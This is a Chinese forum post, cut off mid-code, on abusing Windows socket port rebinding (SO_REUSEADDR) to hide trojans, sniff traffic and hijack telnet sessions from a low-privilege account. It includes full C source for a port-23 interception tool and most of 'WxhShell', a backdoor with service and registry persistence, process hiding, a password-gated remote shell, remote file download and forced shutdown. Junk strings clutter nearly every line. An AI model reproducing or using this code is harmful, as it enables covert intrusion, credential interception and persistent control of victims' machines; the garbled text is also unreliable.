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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HiG&`:P>q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?Y~>H 2  
"zO+!h'o  
  saddr.sin_family = AF_INET; i4"xvL K4  
FB PT@`~v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a|\_'#  
]eq3cwR[|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \0pJ+@\T9  
.j4IW 3)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5aTyM_x  
O,[aL;v  
  这意味着什么?意味着可以进行如下的攻击: dR_hPBn/@  
w`VmN}pR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y o[!q|z  
k>Qr 14F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pDlh^?cux  
V@K}'f~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W3K"5E0ck  
YAZ=-@]`\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~4*9w3t   
<..%@]+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f|FQd3o)  
'F+O+-p+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /7h%sCX  
|P2GL3NR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nZN]Q9  
k>n^QHM  
  #include =k`(!r2"#  
  #include $(}kau  
  #include DD'<zL[  
  #include    W.n@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c uquA ~  
  int main() a(8]y.`Tv  
  { mI in'M  
  WORD wVersionRequested; s$:]$&5  
  DWORD ret; 4aB`wA^x  
  WSADATA wsaData; Z[`J'}?|  
  BOOL val; L i=l/  
  SOCKADDR_IN saddr; 7XWgY%G  
  SOCKADDR_IN scaddr; qTyU1RU$9^  
  int err; {M E|7TS=  
  SOCKET s; qr=U= oK  
  SOCKET sc; 4[.- a&!}  
  int caddsize; Z/uRz]Hi  
  HANDLE mt; S,S_BB<Y[b  
  DWORD tid;   =GM!M@~,Ab  
  wVersionRequested = MAKEWORD( 2, 2 ); ZLKS4  
  err = WSAStartup( wVersionRequested, &wsaData ); <WBGPzVZE  
  if ( err != 0 ) { YQX>)'  
  printf("error!WSAStartup failed!\n"); +I\ bs.84  
  return -1; ?67j+)  
  } e@^}y4 C  
  saddr.sin_family = AF_INET; uNhAfZ  
   -3_kS/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iJrscy-  
OR"ni  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +bf%]   
  saddr.sin_port = htons(23); 9f,HjRP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rzaEVXbz1  
  { ! 2Y, a  
  printf("error!socket failed!\n"); l/rhA6kEU  
  return -1; gYzKUX@  
  } 9fl !CG  
  val = TRUE; {Y'_QW1:2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 YN>#zr+~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?QVD)JI*k  
  { Cv$TNkP*  
  printf("error!setsockopt failed!\n"); cS ];?tqrA  
  return -1; 4N` MY8',  
  } <!OP b(g2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tg8VFH2q.z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1NOz $fW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'OX6e Y5  
J?%D4AeS]v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^ <|If:|  
  { bR&hI9`%F  
  ret=GetLastError(); c@nl;u)n  
  printf("error!bind failed!\n"); X?7$JV-:  
  return -1; ^ACp_RM  
  } 'pm2C6AC  
  listen(s,2); (vj2XiO^+  
  while(1) zLh ~x  
  { rX{|]M":T  
  caddsize = sizeof(scaddr); *.nqQhW  
  //接受连接请求 ^*{ xTB57  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @#Xzk?+  
  if(sc!=INVALID_SOCKET) Ha+FH8rZ  
  { !&'xkw`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &aF_y_f\  
  if(mt==NULL) ] &G5/ ]f  
  { < m9O0  
  printf("Thread Creat Failed!\n"); 1;:2=8  
  break; -ZyFUGd%  
  } |g'sRTKJ  
  } <RhKlCP  
  CloseHandle(mt); hU=J^Gi0  
  } Z(}x7jzW  
  closesocket(s); )uX:f8  
  WSACleanup(); ap6Vmp  
  return 0; fnmZJJ,Q  
  }   W X\%FJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) )Y *?VqZn  
  { n3|~X/I  
  SOCKET ss = (SOCKET)lpParam; ZXU e4@qfl  
  SOCKET sc; dl":?D4H  
  unsigned char buf[4096]; 'g=yJ  
  SOCKADDR_IN saddr; ,-b{oS~u  
  long num; vy"Lsr3  
  DWORD val; xwRnrWd^6  
  DWORD ret; M"9 zK[cz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q90S>c,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NI^Y%N  
  saddr.sin_family = AF_INET; lMm-K%(2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yZ!Eu#81  
  saddr.sin_port = htons(23); )$]+R?v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) } 1XLe  
  { %~W}262  
  printf("error!socket failed!\n"); ?&GMp[  
  return -1; hr{%'DAS  
  } -91l"sI  
  val = 100; {X =\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l.34h  
  { _$bx4a  
  ret = GetLastError(); Z?X$8o^Z  
  return -1; h3)KT+7.  
  } x!$,Hcph,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #/tdZ0  
  { fF d9D=EW.  
  ret = GetLastError(); j qdI=!H  
  return -1; Ch.T} %  
  } =)zq %d?i;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _+Q$h4t   
  { c'|MC[^A  
  printf("error!socket connect failed!\n"); MV/~Rmd.  
  closesocket(sc); $>h#|?*?  
  closesocket(ss); gOWyV@  
  return -1; & 9]KkY=  
  } t~a$|( 9  
  while(1) ^6 LFho4  
  { n5JB'F)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -E500F*b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NuooA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c df ll+  
  num = recv(ss,buf,4096,0); g~y9j88?  
  if(num>0) apMYBbC  
  send(sc,buf,num,0); c0qv11,:t  
  else if(num==0) fM|g8(TK,  
  break; bK].qN  
  num = recv(sc,buf,4096,0); \Zh)oUHd  
  if(num>0) __V]HcP;  
  send(ss,buf,num,0); fhY[I0;}$  
  else if(num==0) 3H%HJS  
  break; ,|4Ye  
  } wU ; f   
  closesocket(ss); 1IlR  
  closesocket(sc); &Bp\kv  
  return 0 ; |be r:1  
  } R`* *!ku  
(k5DbP[  
wr$}AX  
========================================================== wrO>#`Z  
vW{cB y  
下边附上一个代码,,WXhSHELL i]53A0l  
_$'Mx'IC=  
========================================================== ^kl9U+  
cyhD%sB[D9  
#include "stdafx.h" >b ["T+  
O9|'8"AF  
#include <stdio.h> epR~Rlw>2  
#include <string.h> Asl H V@K  
#include <windows.h> L@z !,r,  
#include <winsock2.h> NDOZ!`LqH  
#include <winsvc.h> Uo @NK  
#include <urlmon.h> E?XCL8NC  
bF KP V%`  
#pragma comment (lib, "Ws2_32.lib") jccW8g~ ~  
#pragma comment (lib, "urlmon.lib") @ |GeR  
jSFN/C.9h  
#define MAX_USER   100 // 最大客户端连接数 46zaxcY<!  
#define BUF_SOCK   200 // sock buffer {IMzR'PN  
#define KEY_BUFF   255 // 输入 buffer b66X])+4jE  
pq[mM!;#v  
#define REBOOT     0   // 重启 4v|/+J6G  
#define SHUTDOWN   1   // 关机 :xw3b)KS  
7RP_ ^Cr+  
#define DEF_PORT   5000 // 监听端口 ^c\IZ5  
t>wxK ,  
#define REG_LEN     16   // 注册表键长度 Lm wh`oOl  
#define SVC_LEN     80   // NT服务名长度 ;ULC|7rL  
}91mQ`3  
// 从dll定义API H<;Fb;b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f^)uK+:.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eCp|QSXE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xplo Fw~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hf<$vRti>  
Su"_1~/2S  
// wxhshell配置信息 MA+-2pMc|7  
struct WSCFG { m"G N^V7  
  int ws_port;         // 监听端口 "k-ov9yK  
  char ws_passstr[REG_LEN]; // 口令 \B2d(=~4  
  int ws_autoins;       // 安装标记, 1=yes 0=no >'6GcnEb4.  
  char ws_regname[REG_LEN]; // 注册表键名 7I(t,AKJ  
  char ws_svcname[REG_LEN]; // 服务名 %;Z bQ9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |)q K g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kP)o=\|W{z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~RXpz-Ye  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'Y[A'.*}4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p? ?/r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O|Ic[XfLx  
x~;EH6$5'/  
}; tHtV[We.:  
/Tj"Fl\h  
// default Wxhshell configuration <M,H9^&#l3  
struct WSCFG wscfg={DEF_PORT, r.W,-%=bL  
    "xuhuanlingzhe", rh`.$/^  
    1, ?4ILl>*  
    "Wxhshell", B#aH\$_U  
    "Wxhshell", h_~|O [5|)  
            "WxhShell Service", R*@[P g*  
    "Wrsky Windows CmdShell Service", jBv$^L  
    "Please Input Your Password: ", q{GSsDo-:V  
  1, *kQCW#y0  
  "http://www.wrsky.com/wxhshell.exe", ~B!O~nvdQ  
  "Wxhshell.exe" z9 w&uZzi  
    }; ~u0xXfv#  
A,gx5!J  
// 消息定义模块 }{8Fo4/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HB7(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -k&{nD|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m`$>:B  
char *msg_ws_ext="\n\rExit."; V+qJrZ ,i  
char *msg_ws_end="\n\rQuit."; g6g$nY@Jm  
char *msg_ws_boot="\n\rReboot..."; hoR=%pC*  
char *msg_ws_poff="\n\rShutdown..."; 3l%,D: ?  
char *msg_ws_down="\n\rSave to "; M{xVkXc>  
@vQa\|j  
char *msg_ws_err="\n\rErr!"; GzFE%< 9F  
char *msg_ws_ok="\n\rOK!"; ,<3uc  
_IL2-c8  
char ExeFile[MAX_PATH]; p08kZ  
int nUser = 0; ^%8qKC`Tt  
HANDLE handles[MAX_USER]; y-#  
int OsIsNt; "XNu-_$N<a  
=#(0)p $EC  
SERVICE_STATUS       serviceStatus; i7nL_N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Px?Ao0)Z,  
'qV3O+@MF  
// 函数声明 HmExfW  
int Install(void); A/"}Y1#qX\  
int Uninstall(void); -~][0PVL9  
int DownloadFile(char *sURL, SOCKET wsh); NQC3!=pQ}Y  
int Boot(int flag); j`R<90~/  
void HideProc(void); C.>  
int GetOsVer(void); i<m$#6 <Z  
int Wxhshell(SOCKET wsl); +~d1 ;0l|  
void TalkWithClient(void *cs); |qlS6Aln  
int CmdShell(SOCKET sock); 8lOI\-  
int StartFromService(void); w,Z" W;|  
int StartWxhshell(LPSTR lpCmdLine); kT^*>=1  
)4ilCS&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k(EMp1[:nN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \&iil =H8!  
2vc\=  
// 数据结构和表定义 vUYJf99B  
SERVICE_TABLE_ENTRY DispatchTable[] = SFn 3$ rh  
{ !7*(!as  
{wscfg.ws_svcname, NTServiceMain}, O4EIE)c  
{NULL, NULL} a*Ss -y  
}; R zS|dGNQE  
bar0{!Y"  
// 自我安装 5g``30:o  
int Install(void) WRD A `  
{ 2@ 9pr  
  char svExeFile[MAX_PATH]; >?5xDbRj  
  HKEY key; fw' r.  
  strcpy(svExeFile,ExeFile); MBB5wj  
r219M)D?  
// 如果是win9x系统,修改注册表设为自启动 ZBX  
if(!OsIsNt) { '@TI48 J+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9?;@*x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5VR.o!h3I  
  RegCloseKey(key); FaFp_P?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~uI**{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {'h_'Y`bOQ  
  RegCloseKey(key); yGiP[d|tRc  
  return 0; W]]q=c%2  
    } g5#CN:%f  
  } Gg%tVQu  
} fcRj  
else { p jKt:R}  
mG)8U{L  
// 如果是NT以上系统,安装为系统服务 b~_B [cf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MO[kr2T  
if (schSCManager!=0) $!G`D=  
{ ] @X{dc  
  SC_HANDLE schService = CreateService 47IY|Jdz  
  ( r6`\d k  
  schSCManager, m0A#6=<  
  wscfg.ws_svcname, i&`!|X-=R  
  wscfg.ws_svcdisp, fVe@YqNa  
  SERVICE_ALL_ACCESS, AnNP Ti  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y4#y34 We  
  SERVICE_AUTO_START, &<au/^F  
  SERVICE_ERROR_NORMAL, _(C^[:s  
  svExeFile, QDS0ejhp  
  NULL, gnt45]@{  
  NULL, (I4y[jnD  
  NULL, v f`9*xF  
  NULL, P##Z[$IJ3  
  NULL #?9 Q{0e  
  ); Xv0F:1  
  if (schService!=0) (w+%=z"M  
  { 0G5'Y;8  
  CloseServiceHandle(schService); x>%joKY[  
  CloseServiceHandle(schSCManager); E0QPE5_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8xgJSk  
  strcat(svExeFile,wscfg.ws_svcname); q] ^,vei  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pOMgEEhfS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _J,xT  
  RegCloseKey(key); flG=9~qcGQ  
  return 0; {FWyu5.  
    } p*|ah%F6N  
  } vMhYpt?7\  
  CloseServiceHandle(schSCManager); :BZMnCfA  
} R2w`Y5#`  
} Ik j=`,a2B  
iZQ\ m0Zc  
return 1; mDfwn7f  
} #vQ?  
P@gt di(Q  
// 自我卸载 Ep mJWbU  
int Uninstall(void) +Hj/0pp  
{ jYWw.g<  
  HKEY key; xO7Yt l  
iK!dr1:wSw  
if(!OsIsNt) { KmQ^?Ad- C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LeSHRoD  
  RegDeleteValue(key,wscfg.ws_regname); 1Bg_FPu  
  RegCloseKey(key); y"vX~LR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { , /&Z3e  
  RegDeleteValue(key,wscfg.ws_regname); "cMNdR1^,y  
  RegCloseKey(key); /7gi/uh~-(  
  return 0; ?Ko|dmX  
  } gg[ 9u-  
} D`VFf\7  
} Vclr2]eV4O  
else { =_ y\Y@J  
%cX"#+e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >,"sHm}l%  
if (schSCManager!=0) ,=|4:F9  
{ ` W4dx&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rjUBLY1(  
  if (schService!=0) V^n0GJNo  
  { JrDHRIkgm  
  if(DeleteService(schService)!=0) { B3mS]  
  CloseServiceHandle(schService); \D?:J3H*]  
  CloseServiceHandle(schSCManager); LkBZlh_  
  return 0; #~k[6YR 0  
  } \iru7'S  
  CloseServiceHandle(schService); /^:2<y8Ha  
  } Q[PK`*2)  
  CloseServiceHandle(schSCManager); ;cKH1  
} ;W{b $k@g  
} MzzKJ;wbC6  
^e%}[q[>|  
return 1; A W HU'  
} ?x3Jv<G0*  
:.uk$jx  
// 从指定url下载文件 J 02^i5l  
int DownloadFile(char *sURL, SOCKET wsh) #. ct5  
{ }ptMjT{9  
  HRESULT hr; .!RavEg+  
char seps[]= "/"; `~h4D(n`  
char *token; #`ls)-`7  
char *file; _KN/@(+F  
char myURL[MAX_PATH]; {.CMD9F[  
char myFILE[MAX_PATH]; Ei5wel6!  
i#W*'   
strcpy(myURL,sURL); 5HKW"=5Cf  
  token=strtok(myURL,seps); [2 zt ^  
  while(token!=NULL) 8IGt4UF&?  
  { _1|$P|$P.  
    file=token; /L v1$~  
  token=strtok(NULL,seps); dMvp&M\\'  
  } %8mm Hh  
+ E5=$`  
GetCurrentDirectory(MAX_PATH,myFILE); h*w6/ZL1  
strcat(myFILE, "\\"); ? \m3~6y  
strcat(myFILE, file); @{d\j]Nw  
  send(wsh,myFILE,strlen(myFILE),0); *Zbuq8>  
send(wsh,"...",3,0); G[Tl%w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cozXb$bBY  
  if(hr==S_OK) gU1#`r>[)  
return 0; CO^Jz  
else cCi I{  
return 1; >w|*ei:@S  
@r;wobt  
} 0$HmY2 Men  
.DguR2KT  
// 系统电源模块 Vz%OV}\  
int Boot(int flag) \9:wfLF8!  
{ ,gx)w^WTm  
  HANDLE hToken; 3[IJhR[  
  TOKEN_PRIVILEGES tkp; #0"~G][#  
+(?>-3_z  
  if(OsIsNt) { U \oy8FZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #X`8dnQZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K84^ Oq  
    tkp.PrivilegeCount = 1; ^G|98yc!'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xT*d/Oaw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  jz'<  
if(flag==REBOOT) { 6bO~/mpWT~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '#\1uXM1U?  
  return 0; h<6UC%'ac  
} 2/7_;_#vJ%  
else { TgfrI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \Kav w  
  return 0; ^G1%6\We  
} Yu3zM79'k  
  } ~i~%~doa  
  else { @jy41eIo  
if(flag==REBOOT) { K#mOSY;}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \7v)iG|#G&  
  return 0; xJwG=$o  
} K'5'}Lb5k  
else { G64Fx*`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V416g |lBO  
  return 0; ?1I GYyu!  
} 3l1cyPv  
} jO~:<y3 =  
X~9j$3lUBR  
return 1; =L-I-e97@  
} K^[#]+nQ  
{+.r5py  
// win9x进程隐藏模块 |L6&Gf]#5  
void HideProc(void) S:bC[}  
{ aelO3'UN  
_5Bcwa/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &^".2)zU  
  if ( hKernel != NULL ) O;9?(:_  
  { ExBUpDQc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8wZf ]_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /t%u"dP"T~  
    FreeLibrary(hKernel); O9M{  ).  
  } 0s#Kp49-  
9N8I ip]w  
return; M8&}j  
} MCTsi:V>+  
\nqkA{;B{  
// 获取操作系统版本 p0:kz l4$  
int GetOsVer(void) OO) ~HV4\  
{ +IFw_3$  
  OSVERSIONINFO winfo; /=?x{(B>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q2aYEuu,  
  GetVersionEx(&winfo); N)2f7j4C &  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z.PBu|Kx  
  return 1; *fMpZ+;[m  
  else AyKMhac  
  return 0; NAC_pM&B  
} p=Q0!!_r  
TUK"nKSZ`.  
// 客户端句柄模块 ,:2'YB  
int Wxhshell(SOCKET wsl) =+:{P?*}  
{ :mppv8bh  
  SOCKET wsh; -Z-f1.Dm5  
  struct sockaddr_in client; )u%je~Vw  
  DWORD myID; ~&dyRt W4  
feM6K!fL`  
  while(nUser<MAX_USER) ZP\M9Ja  
{ bm~W EX  
  int nSize=sizeof(client); C4$:mJ>y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sl2iz?   
  if(wsh==INVALID_SOCKET) return 1; -fI`3#  
7cDU2l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {7hLsK[])  
if(handles[nUser]==0) sic"pn],U  
  closesocket(wsh); OR1DYHHT/1  
else <W8t|jt  
  nUser++; 4*n#yVb/  
  } +n0r0:z0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p{A}pnjf  
'@|_OmcY  
  return 0; 1$/MrPT(b  
} &F *' B|n  
82{&# Vc  
// 关闭 socket 5 |0,X<&  
void CloseIt(SOCKET wsh) MM_k ]-7  
{ #p(h]T32  
closesocket(wsh); Fxs;Fp  
nUser--; ;ea] $9  
ExitThread(0); Rk<@?(l!6x  
} olB)p$aH#  
& F:IIo7  
// 客户端请求句柄 >eQr<-8  
void TalkWithClient(void *cs) ^ |~ml Y@w  
{ H<hVTc{K  
!3n)|~r;K  
  SOCKET wsh=(SOCKET)cs; 5@IB39  
  char pwd[SVC_LEN]; 1J=.N|(@Q  
  char cmd[KEY_BUFF]; (/d5UIM{&  
char chr[1]; 94uN I8  
int i,j; } "vW4   
vy2Q g  
  while (nUser < MAX_USER) { Y`7~Am/r;&  
j`'`)3f  
if(wscfg.ws_passstr) { T3UMCqc=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /n~\\9#3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -C-?`R  
  //ZeroMemory(pwd,KEY_BUFF); n9w9JXp;!  
      i=0; `+'rib5  
  while(i<SVC_LEN) { S1 Z2_V  
kE>0M9EdH  
  // 设置超时 o./.Q9e7  
  fd_set FdRead; FuG4F  
  struct timeval TimeOut; .;y#  
  FD_ZERO(&FdRead); }jt?|dl1  
  FD_SET(wsh,&FdRead); yzw mT  
  TimeOut.tv_sec=8; El_wdbbT  
  TimeOut.tv_usec=0; H&1[n U{?>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4 %PfrJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cMyiW$;  
Q$& sTM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fH`P[^N  
  pwd=chr[0]; fx=Awba  
  if(chr[0]==0xd || chr[0]==0xa) { ,g-EW jN  
  pwd=0; rk+#GO{  
  break; ~7~~S*EQ  
  } x";w%  
  i++; {2/LRPT  
    } <DKS+R  
m }a|FS  
  // 如果是非法用户,关闭 socket Y$N)^=7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); />¬$>  
} B]m@:|Q  
4c oJRqf=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U~h'*nV&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GoA4f3  
3G.5724,  
while(1) { :tIC~GG]_)  
IDkWGh  
  ZeroMemory(cmd,KEY_BUFF); *n]7  
\k;`}3 uO  
      // 自动支持客户端 telnet标准   ~$' \L  
  j=0; Fc~'TBf,,`  
  while(j<KEY_BUFF) { `U+l?S^$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [A}rbD K  
  cmd[j]=chr[0]; Q-ni|  
  if(chr[0]==0xa || chr[0]==0xd) { A(?\>X 9g  
  cmd[j]=0; 1(|D'y#  
  break; IG(?xf\C  
  } 4&8Gr0C  
  j++; P\8@g U!uk  
    } FX9F"42@  
6x"Q  
  // 下载文件 aQI^^$9g  
  if(strstr(cmd,"http://")) { 2*(Z==XC7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u@ jX+\  
  if(DownloadFile(cmd,wsh)) W_m"ySQs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  `:P  
  else [SJ6@q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R@Gq)P9?  
  } &] \X]p  
  else { ~/mw x8~  
T+N|R  
    switch(cmd[0]) { [M.f-x:  
  k >t )g-,2  
  // 帮助 "ZTTg>r  
  case '?': { | 8qBm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )o\jJrVDf  
    break; 'V8N  
  } +?p.?I  
  // 安装 4w#``UY)'  
  case 'i': { Yvn\x ph3  
    if(Install()) +C1QY'>I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {]"]uT#  
    else Pnd `=%w%]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;<UWA.  
    break; `ptj?6N-  
    } \~LQ%OM  
  // 卸载 dt~YW  
  case 'r': { ZeG_en ;  
    if(Uninstall()) :4^\3~i1X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5K|"\  
    else 2e$w?W0^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P"<U6zM\sP  
    break; Ou{v/'9z,  
    } ##Z_QB(;  
  // 显示 wxhshell 所在路径 b;)~wU=  
  case 'p': { %0? M?Jf  
    char svExeFile[MAX_PATH]; e</$ s  
    strcpy(svExeFile,"\n\r"); ,gL9?Wz  
      strcat(svExeFile,ExeFile); 1? FrJ6 V  
        send(wsh,svExeFile,strlen(svExeFile),0); VCtH%v#S;.  
    break; PjN =k;  
    } +7t6k7]c  
  // 重启 "5eNLqt^q  
  case 'b': { Q}S_%I}u:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qF 9NQ;  
    if(Boot(REBOOT)) k</%YKk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s?ko?qN(  
    else { $T :un.TM  
    closesocket(wsh); g;ZxvR)ZJk  
    ExitThread(0); ICAH G7,  
    } ID.n1i3  
    break; .S(,o.  
    } ~+Z{Q25R  
  // 关机 :VF<9@t  
  case 'd': { lg047K   
